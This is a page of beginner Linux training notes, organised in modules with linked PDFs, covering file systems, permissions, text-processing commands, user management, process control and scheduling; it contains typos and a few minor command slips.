[Syllabus](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/Complete+Linux+Training+Syllabus.pdf)
[Commands Recap](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/Commands-Recap.pdf)
## Module 1 - Concepts
[Hard Disk and Disk Cache](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module1/Hard+Disk+and+Disk+Cache.pdf)
[History of Unix](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module1/History+of+Unix.pdf)
[Inside Linux](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module1/Inside+Linux.pdf)
[Operating System](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module1/Operating+system.pdf)
[Parts of an OS](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module1/Parts+of+OS.pdf)
[Virtual Memory](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module1/Virtual+memory.pdf)
### What is Linux?
- Operating System which sites in the middle of your hardware and users
### Unix vs Linux
- Unix was first developed for multi-user and multi-tasking in mid 1970 in Bell Labs by ATT. GE and MIT
- Then linux was born in 1991 by Linus Torvalds
- Linux is mostly free
- Linux is open source
- Unix is mostly used by Sun as Solaris, HP-UX, AIX etc.
- Linux is used by developer communuty or companies (Redhat, CentOs, Debian) etc.
- Unix comparitively supports very few File systems
- Linux can be installed on a wide variety of computer hardware, ranging from mobile phones, tablets, video game consoles, to mainframes and supercomputers
## Module 2 - Download, Install and Configure
[Oracle VirtualBox User Manual](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module2/Oracle+Virtual+Box+User+Manual.pdf)
[Changing from 32 to 64bit](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module2/Changing-from-32-to-64bit.pdf)
[CentOS Installation Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module2/CentOS+Installation+Guide.pdf)
[RedHat 7 Install Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module2/Red_Hat_Enterprise_Linux-7-Installation_Guide-en-US.pdf)
### Linux Distributions
- Redhat
- CentOS
- Fedora
- Suse
- Debian
- Ubuntu
### CentOS vs CentOS Stream
- Brief history of CentOS
- 2004 - Greg Kurtzer forked RHEL to CentOS
- 2014 - RH took over CentOS
- Community Enterprise Operating System
- Before Feb 2021:
> - Fedora \> RHEL \> CentOS
- After Feb 2021:
> - Fedora \> CentOS Stream \> RHEL
### Linux vs Windows
| | Linux | Windows |
|--------------|-----------------------------------------------|-----------------------------------------------------------------------|
| Price | Free | \$\$\$ |
| Ease | Not user-friendly | User friendly |
| Reliability | Very reliable, often runs for months or years | Often requires reboot |
| Software | Mostly enterprise level softwares | Much larger selection of softwares eg office, games, utilities, etc. |
| Multitasking | Best for multi-tasking | Multi-tasking is available but with very high cpu or memory resources |
| Security | Very secure | Somewhat secure |
| Opensource | Open to public | Not an open source OS |
### Linux Users
- US Government Agencies (National, State, Federal, and International)
- NASA
- Health Care
- Bullet trains in Japan runs at the soeed of 150-215m/h
- Traffic Control
- Financial Institutes eg NYSE
- Entertainment industries (cinemas, production houses, etc.)
- World e-commerce leaders, including Amazon, eBay, PayPal, and Walmart
- Other fortune 500 companies eg Google, IBM, McDonalds, Facebook etc.
## Module 3 - System Access and File System
[Logging onto System](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/4-Logging+On+To+System.pdf)
[File Names](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/7-File+Names.pdf)
[Password Standards](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/8-Passwords+Standards.pdf)
### Network Commands
- Centos/RHEL 5 or 6 was `ifconfig`
- Centos/RHEL 7 is `ip`
- Centos/RHEL 7.5 and up `ifconfig` has been deprecated
- To use ifconfig in 7.5 use `yum install net-tools`
### Important Things
- Linux has super user account called root
> - root is the most powerful account that can create, modify, delete accounts and make changes to system configuration files
- Linux is case-sensitive
> - ABC is not the same as abc
- Avoid using spaces when creating files and directories
- Linux kernal is not an OS. It's a small software within linux OS that takes commands from users and pass them to system hardware or peripherals
- Linux is mostly CLI not GUI
- Linux is very flexible as compared to other OSs
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/3-Linux+vs+Windows.pdf)
### Linux File System
- OS store data on disk drives using a structure called filesystem, consisting of files, directories, and the information needed to access and locate them
- There are many different types of filesystems. In general improvements have been made to filesystems with new releases of OS and each new FS has been given a different name. Eg. ext3, ext4, XFS, NTFS, FAT etc.
- Linux filesystems store info in a hierarchy of dirs and fiels.
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/1-Linux+Structure.pdf)
[more notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/5-Linux+File+System.pdf)
### File System Structure
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/6-File+System+Detail.pdf)
### File System Structure and its Description
- /boot - contains file that is used by the boot loader (grub.cfg)
- /root - root user home directory. It is not the same as /
- /dev - system devices (eg. disk cdrom speakers flash drive keyboard)
- /etc - configuration files
- /bin \> / usr/bin - everyday user commands
- /sbin \> /usr/sbin - system/filesystem commands
- /opt - optional addon applications (not part of OS apps)
- /proc - running processes (only exist in memory)
- /lib \> usr/lib - C programming library needed by commands and apps (`strace -e open pwd`)
- /tmp - dir for temp files
- /home - dir for users
- /var - system logs
- /run - system daemons that start very early (eg. systemd and udev) to store runtime files like PID files
- /mnt - to mount external filesystem (eg. NFS)
- /media - for cdrom mounts
### File System Navigation
- When navigating a UNIX filesystem, there are a few important commands
> - `cd` - stands for change directory. It is the primary command for moving you arount the filesystem
> - `pwd` - stands for print working directory. It tells you where you current location is.
> - `ls` - stands for list. It lists all the directories/files within a current working dir
### What is Root?
- There are 3 types of root on a Linux system
> - Root account: root is an account or username on Linux machine and is the most powerful account which has access to all commands and files
> - Root as /: the very first dir of Linux also referred as root directory
> - Root home directory: the root user account also has a dir located in /root which is called root home dir
### File System Paths
- There are two paths to navigate to a filesystem
> - Absolute path
> - Relative path
- An absolute path always begins with a `/`. This indicates that the path starts at the root directory. An example of an absolute path is `cd /var/log/samba`
- A relative path does not begin with a `/`. It identifies a location relative to your current position. An example of a relative path is `cd /var` and `cd log` `cd samba`
### Directory Listing Attributes
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/13-List+files+and+directories.pdf)
### Creating Files and Directories
- Creating files
> - touch
> - cp
> - vi
- Creating directories
> - mkdir
### Copying Directories
- Command to copy a directory
> - `cp`
- To copy a directory on Linux, you have to execute the `cp` command with the `-R` option for recursive and specify the source and destination directories to be copied
> - `cp -R `
### Linux File Types
| File Symbol | Meaning |
|-------------|-----------------------------|
| dash | Regular file |
| d | Directory |
| l | link |
| c | Special file or device file |
| s | socket |
| p | Named pipe |
| b | Block device |
### Finding Files and Directories
- Two main commands are useful to find files/directories
> - `find` (`find . -name "test"`)
> - `locate` (`locate test`)
- If `locate` command doesnt output any result, then as rute run `updatedb`
- Also make sure you have `mlocate` package installed
- To check run `rpm -qa \| grep mlocate`
- To install run `yum install mlocate`
### Difference Between find and locate
- `locate` uses a prebuilt database, which should be regularly updated, while `find` iterates over a filesystem to locate files. Thus, locate is much faster than find, but can be inaccurate if the database (can be seen as a cache) is not updated
- To update the locate database run `updatedb`
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/10-Difference-between-locate-and-find-command-in-Linux.pdf)
### Changing Password
- You should change your initial password as soon as you login
- Command = `passwd userid`
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/9-Change+Password+in+Linux.pdf)
### Wildcards
A wildcard is a character that can be used as a substitute for any of a class of characters in a search
- `*` represents zero or more characters
- `?` represents a single character
- `[]` represents a range of characters (`ls -ltr *[cd]*`)
- `{}` range of fiels to create
- backslash as an escape character
- `^` the beginning of a line
- `$` the end of a line
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/11-Wildcards.pdf)
### Soft and Hard Links
- inode = Pointer or number of a file on the hard disk
- Soft Link = Link will be removed if file is removed or renamed
- Hard Link = Deleting renaming or moving the original file will not affect the hard link
> - `ln` (hard link)
> - `ln -s` (soft link)
- Note: you cannot create a soft or hard link within the same directory with the smae name.
- Hard links only work within the same partition
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/12-Soft+Link+and+Hard+Links.pdf)
## Module 4 - Fundamentals
### Commands Syntax
- Command options and arguments
> - Commands typically have the syntax:
>
> > - command options arguments
- Options
> - Modify the way that a command works
> - Usually oly consist of a hyphen or dash followed by a single letter
> - Some commands accept multiple options which can usually be grouoped together after a single hypghen
- Arguments:
> - Most commands are used together with one or more arguments
> - Some commands assume a default argument if none is supplied
> - Arguments are optional for some commands and required by others
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/1-Command+Syntax.pdf)
### File Permissions
- UNIX is a multi-user system. Every file and directory in your account can be protected from or made accessible to other users by changing its access permissions. Every user has responsibility for controlling access to their files.
- Permissions for a file or directory may be restricted to by types
- There are 3 types of permissions
> - r - read
> - w - write
> - x - execute (running a program)
- Each permission (rwx) can be controlled at three levels
> - u - user (yourself)
> - g - group (can be people in the same project)
> - o - other (everyone in the system)
- File or Directory permission can be displayed by running `ls -l` command
> - -rwxrwxrwx
- Command to change permission
> - `chmod`
- Remove read rights from group: `chmod g-r file`
- Remove read rights from all (other): `chmod a-r file`
- Remove write rights from user: `chmod u-w file`
- Add read and write rights to user on file: `chmod u+rw file`
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/2-File+Permissions+and+Ownership.pdf)
### File Permissions using Numeric Mode
- Permission to a file and directory can be assigned numerically
> - `chmod ugo+r file`
> - or `chmod 444 file`
- The table below assigns numbers to permissions types
| Number | Permission Type | Symbol |
|--------|-----------------------|--------|
| 0 | No Permission | --- |
| 1 | Execute | --x |
| 2 | Write | -w- |
| 3 | Execute + Write | -wx |
| 4 | Read | r-- |
| 5 | Read + Execute | r-x |
| 6 | Read + Write | rw- |
| 7 | Read +Write + Execute | rwx |
- \`chmod 764 file\`:
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/11-File+Permissions+Cheat+Sheet.pdf)
### File Ownership
- There are 2 owners of a file or directory
> - User and group
- Command to change file ownership
> - chown and chgrp
>
> > - chown changes the ownership of a file
> > - chgrp changes the group ownership of a file
- Recursive ownership change option (cascade)
> - -R
### Access Control List
- What is ACL?
> - Access control list (ACL) provides an additional, more flexible permission mechanism for file systems. It is designed to assist with UNIX file permissions. ACL allows you to give permissions for any user or group to any disc resource.
- Use of ACL:
> - Think of a scenario in which a particular user is not a member of a group created by you but you still want to give some read or write access, how can you do it without making user a member of a group, here comes in picture ACL, CAL helps us to do this trick.
>
> - Basically, ACLs are used to make a flexible permission mechanism in Linux.
>
> - From Linux man pages, ACLs are used to define more fine-granied discretionary access rights for files and directories
>
> - Commands to assign and remove ACL permissions are:
>
> > - `setfacl` and `getfacl`
- List of commands for setting up ACL:
> - to add permission for a user (`setfacl -m u:user:rwx /path/to/file`)
>
> - to add permissions for a group (`setfacl -m g:group:rw /path/to/file`)
>
> - to allow all files or directories to inherit ACL entries from the directory it is within (`setfacl -Rm "entry" /'path/to/dir'`)
>
> - To remove a specific entry (`setfacl -x u:user /path/to/file` (for a specific user))
>
> - To remove all entries (`setfacl -b path/to/file` (for all users))
>
> - Note:
>
> > - As you assign the ACL permission to a file/directory it adds + sign at the end of the permission
> > - Setting w permission with ACL does not allow to remove a file
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/12-Access+Control+Lists.pdf)
### Help Commands
- There are 3 types of help commands
> - `whatis` command
> - command `--help`
> - `man` command
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/3-Getting+Help.pdf)
### Tab Completion and Up Arrow
- Hitting TAB key completes the available commands, files, or directories
> - `chm TAB`
> - `ls j`
> - `cd Des`
- Hitting up arrow key on the keyboard returns the last command run
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/4-TAB+Completion.pdf)
### Adding Text to Files (Redirects)
- 3 Simple ways to add text to a file
> - vi
> - Redirect command output \> or \>\>
> - echo \> or \>\>
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/5-Adding+Text+to+Files.pdf)
### Input and Output Redirects
- There are 3 redirects in Linux
> - Standard input (stdin) and it has file descriptor number as 0
> - Standard output (stdout) and it has file descriptor number 1
> - Standard error (stderr) and it has file descriptor number as 2
- Output (stdout) -1
> - By default when running a command its output goes to the terminal
>
> - The output of a command can be routed to a file using \> symbol
>
> > - eg. `ls -l > listings`
> > - `pwd > findpath`
>
> - If using the same file for additional output or to append to the same file then use \>\>
>
> > - eg. `ls -la >> listings`
> > - `echo "Hello World" >> findpath`
- Input (stdin) -0
> - Input is used when feeding file contents to a file
>
> > - eg. `cat < listings`
> > - `mail -s "office memo" contact@calebsargeant.com < momoletter`
- Error (stderr) - 2
> - When a command is executed we use a keyboard and that is also considered (stdin -0)
>
> - That command output goes on the monitor that outpit is (stdout -1)
>
> - If the command produced any error on the screen then it is considered (stderr -2)
>
> > - We cna use redirects to route errors from the screen
> >
> > > - eg. `ls -l /root 2> errorfile`
> > > - `telnet localhost 2> errorfile`
### Standard Output to a File (tee)
- `tee` command is used to store and view (both at the same time) the output of any command
- The command is named after the T-splitter used in plumbing. It basically breaks the output of a program so that it can be both displated and saved in a file. It does both the tasks simultaneously, copies the result into the specified file or variables and also displays the result.
- Remember `-a` appends
### Pipes
- A pipe is used by the shell to connec the output of one command directly to the inout of another file
- The symbol for a pipe is the vertical bar (`\|`). The command syntax is:
> - command 1 \[arguments\] \| command2 \[arguments\]
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/6-Pipes.pdf)
### File Maintenance Commands
- `cp`
- `rm`
- `mv`
- `mkdir`
- `rmdir` or `rm -r`
- `chgrp`
- `chown`
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/7-File+Maintenance+Commands.pdf)
### File Display Commands
- `cat`
- `more`
- `less`
- `head`
- `tail`
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/8-File+Display+Commands.pdf)
### Filters / Text Processors Commands
- `cut`
- `awk`
- `grep` and `egrep`
- `sort`
- `uniq`
- `wc`
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/9-Filters-Text+Processing+Commands.pdf)
### Cut
- Cut is a comman d line utility that allows you to cut parts of lines from specified files or piped data and print the result to standard output. It can be used to cut parts of a line by delimiter, byte position, and character
- `cut filename` does not work
- `cut --version`
- `cut -c1 file` - gets the first character from each line
- `cut -c1,2,4 file` - pick and choose character
- `cut -c1-3 file` - list range of characters
- `cut -c1-3,6-8 file` - list specific range of characters
- `cut -b1-3 file` - list byte size
- `cut -d: -f 6 /etc/passwd` - list first 6th column seperated by :
- `cut -d: -f 6-7 /etc/passwd` - list first 6th and 7th column sperated by :
- `ls -l \| cut -c-4` - only print user permissions of files/dir
### Awk
- awk is a utility/language designed for data extraction. Most of the time it is used to extract fields from a file or from an output.
- `awk --version` - check version
- `awk '{print $1}' file` - list 1st field from a file
- `ls -l \| awk '{print $1,$3}'` - list 1st and 3rd field of ls -l output
- `ls -l \| awk '{print $NF}'` - last filed of the output
- `awk '/Jerry/ {print}' file` - search for a specific word
- `awk -F: '{print $1}' /etc/passwd` - output only 1st field of /etc/passwd
- `echo "Hello Tom" \| awk '{$2="Adam"; print $0}'` - replace words field words
- `cat file \| awk '{$2="Caleb"; print $0}'` - replace words field words
- `awk 'length($0) > 15' file` - get lines that more that 15 byte size
- `ls -l \| awk '{if($9 == "caleb") print $0;}'` - get the field matching caleb in /home/caleb
- `ls -l \| awk '{print NF}'`
### Grep/Egrep
- What is grep?
> - the grep command which stands for "global regular expression print", processes text line by line and prints any lines which match a specified pattern
- `grep --version` or `grep --help`
- `grep keyword file` - search for a keyword from a file
- `grep -c keyword file` - search for a keyword and count
- `grep -i keyword file` - search for a keyword ignore case-sensitive
- `grep -n keyword file` - display the matched lines and their line numbers
- `grep -v keyword file` - display everything but keyword
- `grep keyword file \| awk '{print $1}'` - search for a keyword and then only give 1st field
- `ls -l \| grep Desktop` - search for a keyword and then only give 1st field
- `egrep -i "keyword\|keyword2" file` - search for 2 keywords
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/10-Finding+System+Information.pdf)
### Sort/Uniq
- What are sort and uniq commands?
> - Sort command sorts in alphabetical order
> - Uniq command filters out the repeated or duplicate lines
- `sort --version` or `sort --help` - check version or help
- `sort file` - sorts in alphabetical order
- `sort -r file` - sorts in reverse alphabetical order
- `sort -k2 file` - sort by field number
- `uniq file` - removes duplicates
- `sort file \| uniq` - always sort first before using uniq their line numbers
- `sort file \| uniq -c` - sort first then uniq and list count
- `sort file \| uniq -d` - only show repeated lines
### Wc
- What is wc command?
> - The command reads either standard input or a list of files and generates: newline count, word count, and byte count
- `wc --version` or `wc --help` - check version or help
- `wc file` - check file line count, word count and byte count
- `wc -l file` - get the number of lines in a file
- `wc -w file` - get the number of words in a file
- `wc -b file` - get the number of bytes in a file
- `wc DIRECTORY` - not allowed
- `ls -l \| wc -l` - number of files
- `grep keyword \| wc -l` - number of keyword lines
### Compare Files
- `diff` (line by line)
- `cmp` (byte by byte)
### Compress and un-Compress Files
- `tar`
- `gzip`
- `gzip -d` or `gunzip`
### Truncate File Size
- The linux `truncate` command is often used to shrink or extend the size of a file to the specified size
- Command
> - `truncate -s 10 filename`
### Combining and Splitting Files
- Multiple files can be combined into one and
- One file can be split into multiple files
> - `cat file1 file2 file3 > file4`
> - `split file4`
> - e.g. `split -l 300 file.txt childfile` - split file.txt into 300 lines per file and output to childfileaa, childfileab, and childfileac
### Linux vs Windows Commands
| Command Description | Windows | Linux |
|-------------------------------------------|------------|-------------|
| Listing of a directory | dir | ls -l |
| Rename a file | ren | mv |
| Copy a file | copy | cp |
| Move a file | move | mv |
| Clear screen | cls | clear |
| Delete file | del | rm |
| Compare contents of files | fc | diff |
| Search for a word/string in a file | find | grep |
| Display command help | command /? | man command |
| Displays your location in the file system | chdir | pwd |
| Displays the time | time | date |
## Module 5 - System Administration
### Linux File Editor (vi)
- A text editor is a program which enables you to create and manipulate data (text) in a Linux file
- There are several standard text editors available on most Linux systems
> - `vi` - Visual editor
> - `ed` - Standard line editor
> - `ex` - Extended line editor
> - `emacs` - A full screen editor
> - `pico` - Begginers editor
> - `vim` - Advanced version of vi
- Our editor = vi (available in almost every Linux distribution)
- vi supplies commands for:
> - inserting and deleting text
> - replacing text
> - moving around the file
> - finding and substituting strings
> - cutting and pasting text
- Most common keys:
> - i - insert
> - Esc - escape out of any mode
> - r - replace
> - d - delete
> - :q! - quit without savinbg
> - :wq! - quit and save
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/1-vi+Commands.pdf)
[more notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/5-Unix+Editors.pdf)
### Difference Between vi and vim Editor
- As far as functionality is concerned, both editors work in the same manner. Which editor you choose is a matter of personal choice. Some people recommend learningh the vim editor instead of the vi editor. Due to added features, learning and using vim editor is much easier than the vi editor.
- Since vim is based on the vi, when you will learn how to use the vim editor, you will automaticall learn how to use the vi editor
- vim has all the features as vi with some excellent addition
- There's also a comprehensive help system and lots of customization options available.
- There are many websites taht offer free vim interactive training
> -
> -
> - (games)
### Sed Command
- Replace a string in a file with a newstring
> - `sed 's/Kenny/Lenny/g' file` - output to console
> - `sed -i "s/Kenny/Lenny/g" file` - make changes to file
> - `sed 's/Costanza//g'` - remove the word Costanza
- Find and delete a line
> - `sed '/Caleb/d' file`
- Remove empty lines
> - `sed '/^$/d'`
- Remove the first or n lines in a file
> - `sed '1d' file` - delete first line
> - `sed '1,2d' file` - delete first 2 lines
- To replace tabs with spaces
> - `sed 's/t/ /g'`
- Show defined lines from a file
> - `sed -n 12,18p file` - show only lines 12 to 18
> - `sed 12,18d file` - show all but lines 12 to 18
> - `sed G file` - add a linebreak to every line
> - `sed '8!s/Caleb/C/g' file` - change all lines except line 8
- Substitute wining vi editor
> - `:%s/Caleb/Peter/`
### User Account Management
Commands:
- useradd
- groupadd
- userdel
- groupdel
- usermod
Files:
- /etc/passwd
- /etc/group
- /etc/shadow
Example:
``` bash
useradd -g superheros -s /bin/bash -c "user description" -m -d /home/spiderman spiderman
```
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/2-User+Account+Management.pdf)
[more notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/3-User+Accounts+in+Linux.pdf)
### Enable Password Aging
- chage \[-m mindags\] \[-M maxdays\] \[-d lastday\] \[-I inactive\] \[-E expiredate\] \[-W warndays\] user
- File = /etc/login.def
> - PASS_MAX_DAYS 99999
> - PASS_MIN_DAYS 0
> - PASS_MIN_LEN 5
> - PASS_WARN_AGE 7
Check /etc/shadow for the position:
- -d = 3. Last password change (lastchanged): Days since Jan 1, 1970 that password was last changed
- -m = 4. Minimum: the minimum number of days requred between password changes i.e. the number of days left before the user is allowed to change his/her password
- -M = 5. Maximum: the maximum number of days the password is valid (after that the user is forced to change the password)
- -W = 6. Warn: The number of days before password is set to expire that the user is warned that the password must be changed
- -I = 7. Inactive: The number of days after password expires that the account is disabled
- -E = 8. Expire: days since Jan 1, 1970 that account is disabled i.e. an absolute date specifying when the login may no longer be used
### Switch Users and Sudo Access
Commands:
- su - username
- sudo command
- visudo
File
- /etc/sudoers
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/4-Switch+users+and+Sudo+Access.pdf)
### Monitor Users
- who
- last
- w
- finger
- id.
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/6-Monitor+User+Commands.pdf)
### Talking to Users
- users
- wall
- write
### Linux Account Authentication
- Type of Accounts
> - Local accounts
> - Domain/Directory accounts
- Windows = active directory
### Difference between AD, LDAP, IDM, WinBIND, OpenLDAP, etc.
- Active Directory = Microsoft
- IDM = Identity Manager (Redhat)
- WinBIND = Used in Linux to communicate with Windows (samba)
- OpenLDAP (open source)
- IBM Directory Server
- JumpCloud
- LDAP = Lightweight Directory Access Protocol (not a package, but a protocol)
### System Utility Commands
- date
- uptime
- hostname
- uname
- which
- cal
- bc
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/7-System+Utility+Commands.pdf)
### Processes and Jobs
- Application = Service
- Script
- Process
- Daemon
- Threads
- Job
- systemctl or service
- ps
- top
- kill
- crontab
- at
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/8-Processes.pdf)
[more notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/9-Unix+Programs.pdf)
### Systemctl Command
- systemctl command is a new tool to control system services
- It's available in version 7 and later it replaces the service command
- Usage example:
> - `systemctl start\|stop\|status servicename.service`
>
> - `systemctl enable servicename.service`
>
> - `systemctl restart\|reload servicename.service`
>
> - `systemctl list-units --all`
>
> > - The output has the following columns:
> >
> > > - **UNIT**: the systemd unit name
> > > - **LOAD**: Whether the unit's configuration has been parsed by systemd. The configuration of loaded units is kept in memory
> > > - **ACTIVE**: A summary state about whether the unit is active. This usually a fairly basic way to tell if the unit has started successfully or not.
> > > - **SUB**: this is a lower-level state that indicates more detailed information about the unit. THis often varies by unit type, state, and the actual method in which the unit runs.
> > > - **DESCRIPTION**: A short textual description of what the unit is/does.
- To add a service under systemctl management:
> - Create a unit file in /etc/systemd/system/servicename.service
- To control system with systemctl
> - `systemctl poweroff`
> - `systemctl halt`
> - `systemctl reboot`
### ps Command
- ps command stands for process status and it displays all the currently running processes in the Linux system
- Usage examples:
> - ps = shows the processes of the current shell
>
> > - **PID** = the unique process ID
> > - **TTY** = terminal type that the user logged in to
> > - **TIME** = amount of CPU in mins and secs that the prcess has been running
> > - **CMD** = name of the command
- `ps -e` = shows all running processes
- `ps aux` = shows all running processes in BSD format
- `ps -ef` = shows all running processes in full format listing (most commonly used)
### top Command
- top command is used to show the Linux process and it provides a real-time view of the running system
- This command shows the summary information of the system and the list of process or threads that are currently managed by the Linux Kernal
- When the top command is executed then it goes into interactive mode and you can exit using q
- Usage: top
> - **PID**: shows task's unique process ID
> - **USER**: usertname of owner of task
> - **PR**: The PR field shows the scheduling priority of the process from the perspective of the kernel
> - **NI**: Represents a Nice Value of task. A negative nice value implies higher priority, and positive Nice value means lower priority.
> - **VIRT**: Total virtual memory used by the task
> - **RES**: Memory consumed by the process in RAM
> - **SHR**: Represents the amount of shared memory used by a task
> - **S**: This field shows the process state in the single-letter form
> - **%CPU**: represents the CPU usage
> - **%Mem**: shows the memory usage of task
> - **TIME+**: CPU Time, the smae as TIME, but reflecting more granualarity through hundredths of a second
- top -u caleb = shows tasks/processes by user owned
- top then press c = shows commands absolute path
- top then press k = kill a process by PID within top session
- top the M and P = to sort all linux running processes by Memory usage
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/13-top+command.pdf)
### kill Command
- kill command is used to terminate process manually
- It sends a signal which ultimately terminates or kills a particular process or group of processes
- Usage: `kill [OPTION] [PID]`
- kill -l = to get a list of all signal names or signal numbers
- Most used signals are:
> - kill PID = kill a process with default signal
> - kill -1 = restart
> - kill -2 = interupt from the keyboard just like ctrl C
> - kill -9 = forcefully kill the process
> - kill -15 = kill a process gracefully
- Other similar kill commands are:
> - killall
> - pkill
### crontab Command
- Crontab command is used to schedule tasks
- Usage:
> - crontab -e = edit the crontab
> - crontab -l = list the crontab entries
> - crontab -r = remove the crontab
> - crond = crontab daemon/service that manages scheduling
> - systemctl status crond = manage the crond service
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/10-crontab.pdf)
### at Command
- at command is like crontab which allows you to schedule jobs only once
- When the command command is run it will enter interactive mode and you can get out by pressing ctrl d
- Usage:
> - `at HH:MM PM` = schedule a job
> - `atq` = list the at entries
> - `atrm \#` = remove at entry
> - `atd` = at daemon/service that manages scheduling
> - `systemctl` status atd = to manage the atd service
- Other future scheduling format:
> - at 2:45 am 101621
> - at 4pm + 4 days
> - at now + 5 hours
> - at 80:00 am sun
> - at 10:00 am next month
### Additional Cron Jobs
- By default there are 4 different types of cronjobs
> - Hourly
> - Daily
> - Weekly
> - Monthly
- All the above crons are setup in
> - /etc/cron.\_ (directory)
- The timing for each are set in
> - /etc/anacrontab -- except hourly
- For hourly
> - /etc/cron.d/0hourly
### Process Management
- Background = `ctrl-z, jobs and bg`
- Foreground = `fg`
- Run process even after exit = `nohup process &`
> - OR = `nohub process > /dev/null 2>&1 &`
- Kill a process by name = `pkill`
- Process priority = nice (e.g. `nice -n 5 process`)
> - the niceness scale goes from -20 to 19. The lower the number more priority that task gets
- Process monitoring = `top`
- List process = `ps`
### System Monitoring
- top
- df
- dmesg
- iostat 1
- netstat (netstat -rnv)
- free
- cat /proc/cpuinfo
- cat /proc/meminfo
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/11-System+Resource+Commands.pdf)
### Log Monitoring
- Another and most important way of system administration is log monitor
- Log Directory = /var/log
> - boot
> - chronyd = NTP
> - cron
> - maillog
> - secure
> - messages
> - httpd
### System Maintenance Commands
- shutdown
- init
- reboot
- halt
### Changing System Hostname
- hostnamectl - set-hostname newhostname
- Version 7 = edit /etc/hostname
- version 6 = edit /etc/sysconfig/network
### Finding System Information
- cat /etc/redhat-release
- uname -a
- dmidecode
### System Architecture
- Differences between a 32-bit and 64-bit CPU
A big difference between 32-bit processors and 64-bit processors is the number of calculations per second they can perform, which affects the speed at which they can complete tasks. 64-bit processors can come in dual core, quad core, six core, and eight core versions for home computing. Multiple cores allow for an increased number of calculations per second that can be performed, which can increase the processing power and help make a computer run faster. Software programs that require many calculations to function smoothly can operate faster and more efficiently on the multi-core 64-bit processors.
- Linux = arch
- Windows = My Computer -\> Properties
### Terminal Control Keys
- Several key combinations on your keyboard usually have a special effect on the terminal
- These "control" (CTRL) keys are accomplished by holding the CTRL key while typing the second key
- For example, CTRL-c means to hold the CTRL key while typing the letter "c"
- The most common control keys are listed below:
> - CTRL-u = erase everything you've typed on the command line
> - CTRL-c = stop/kill a command
> - CTRL-z = suspend a command
> - CTRL-d = exit from an interactive program (signals end of data)
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/12-Terminal+Control+Keys.pdf)
### Terminal Commands
- clear (clears your screen)
- exit (exit out of the shell, terminal or user session)
